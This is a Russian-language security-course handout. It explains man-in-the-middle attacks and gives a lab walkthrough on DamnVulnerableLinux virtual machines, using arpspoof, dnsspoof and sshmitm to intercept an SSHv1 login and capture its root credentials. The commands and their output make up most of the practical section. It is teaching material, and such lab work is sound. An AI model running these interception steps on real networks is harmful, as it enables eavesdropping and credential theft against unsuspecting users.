logo
Методические указания для АЗ-ИБ

Описание атаки Man In The Middle

Атака вида "человек посередине" (Man In The Middle MiM) представляет собой искуссный способ обмануть шифрование. Атакующий находится между двумя корреспондентами, которые считают, что держат связь друг с другом, тогда как в действительности каждый из них держит связь с атакующим. Когда между двумя корреспондентами устанавливается шифрованное соединение, генерируется секретный ключ, который передаётся с помощью ассиметричного шифра. Обычно этот ключ применяется для шифрования последующего обмена данными между корреспондентами. Посколько ключ передаётся защищённым образом, а все передаваемые впоследствии данные защищены этим ключом, весь этот трафик оказывается недостпным для чтения тому, кто потенциально может его перехватить.

Однако при атаке "человек посередине" корреспондент А считает, что обменивается данными с В, а В считает, что обменивается данными с А, хотя в реальности оба обмениваются данными с атакующим. Поэтому когда А договаривается об установлении закрытого соединения с В, фактически он открывает шифрованное соединение с атакующим, в пероцессе чего последний, используя ассиметричное шифрование, узнаёт секретный ключ. После этого атакующему надо открыть второе закрытое соединение с В, и В будет считать, что связался с А, как показано на рисунке. Это означает, что атакующий фактически поддерживает два разных закрых канала связи с двумя разными ключами шифрования. Пакеты от А зашифровываются по первому ключу и посылаюсят атакующему, которого А принимает за В. Атакующий расшифровывает эти пакеты на епрвом ключе и снова зашифровывает на втором ключе. Затем атакующий пересылает новые пакеты В, а В считает, что отпрвителем этих пакетов был А. Находят в середине и располагая двумя разными ключаеми, атакующий может перехватывать и даже изменять трафик между А и В, которые ничего не подозревают. Практическая работа.

  1. Загружаемся в DamnVulnerableLinux.

Нам потребуется три виртуальные машины. Комьютер атакующего и две машины А и В между которыми должен проходить обмен данными. Для удобства присвоим машинам имена:

seliger 192.168.1.10 компьютер атакующего.

valdai 192.168.1.11 машина А.

hanka 192.168.1.12 машина B.

Атакующий обязательно должен находиться в одной сети с атакуемыми машинами. Убедимся, что на машине атакующего ключена переадресация IP-пакетов.

sysctl -w net.ipv4.ip_forward=1

Чтобы MAC-адреса хостов появились в ARP кэше достаточно их пропинговать. Порчу ARP кеша и перехват SSH-сессии будем осуществлять с помощью утилит из пакета dsniff. Для начала посмотрим состояние ARP кэша до атаки.

valdai:$ arp

Address HWtype HWaddress Flags Mask Iface

hanka ether 00:22:15:1A:53:04 C eth0

seliger ether 00:22:15:1A:53:2C C eth0

hanka:$ arp

Address HWtype HWaddress Flags Mask Iface

seliger ether 00:22:15:1A:53:2C C eth0

valdai ether 00:22:15:31:2B:3E C eth0

Начинаем ARP спуффинг. Запускаем команды в фоновом режиме со знаком '&' и получаем идентификаторы (PID) процессов.

seliger:$ arpspoof -i eth0 -t valdai hanka >/dev/null 2>&1 &

[1] 21375

seliger:$ arpspoof -i eth0 -t hanka valdai >/dev/null 2>&1 &

[2] 21376

Теперь посмотрим, как изменился ARP-кэш на атакуемых хостах.

valdai:$ arp

Address HWtype HWaddress Flags Mask Iface

hanka ether 00:22:15:1A:53:2C C eth0

seliger ether 00:22:15:1A:53:2C C eth0

hanka:$ arp

Address HWtype HWaddress Flags Mask Iface

seliger ether 00:22:15:1A:53:2C C eth0

valdai ether 00:22:15:1A:53:2C C eth0

Всё готово к перехвату SSH-сессии. Для простоты будем считать, что обращение от А к В будет проходить по IP-адресам, а не по DNS-именам. В случае использования DNS-адресов требовалось бы перехватывать DNS-запросы и в качестве IP-адреса атакуемых машин возвращать в DNS-ответе IP-адрес комьютера атакующего. Это можно сделать командой

seliger:$ dnsspoof -i eth0 -f ./dnsspoof.file host 192.168.1.11 or 192.168.1.12 and udp and port 53 >/dev/null 2>&1 &

Для перехвата SSH-сессии воспользуемся программой sshmitm. К сожалению, она позволяет перехватывать SSH-сессии, использующие только первую версию SSH-протокола.

Машина А будет считать, что отправляет запрос на установление соединения машине В, на самом же деле весь трафик проходит через компьютер атакующего.

Запускаем перехват SSH-сессий.

seliger:$ sshmitm hanka

После имени команды указыватся имя хоста, на который нужно транслировать соединение.

Теперь машина А пытается связаться с В, используя версию SSH-протокола 1.

valdai:$ ssh 192.168.1.12 -1

The authenticity of host '192.168.1.12' can't be established.

RSA1 key fingerprint is 6d:6a:1e:9d:53:81:cd:cf:1e:ec:f1:d5:a7:56:95:47.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.1.12' (RSA1) to the list of known hosts.

root@192.168.1.12's password:

hanka:$

Машина А уверена, что напрямую связалась с машиной В. А вот что происходило на комьютере атакующего:

sshmitm: relaying to hanka

-----------------

04/14/09 20:18:27 tcp valdai.36409 -> hanka.22 (ssh)

root

test

Мы узнали имя пользователя и пароль для входа в систему на машине В. Для прекращения перехвата SSH-сессий, достаточно на компьютере атакующего нажать Ctrl+C, т.к. мы запускали sshmitm не в фоновом режиме, и прекратить портить ARP-кэш атакуемых машин.

seliger:$ killall arpspoof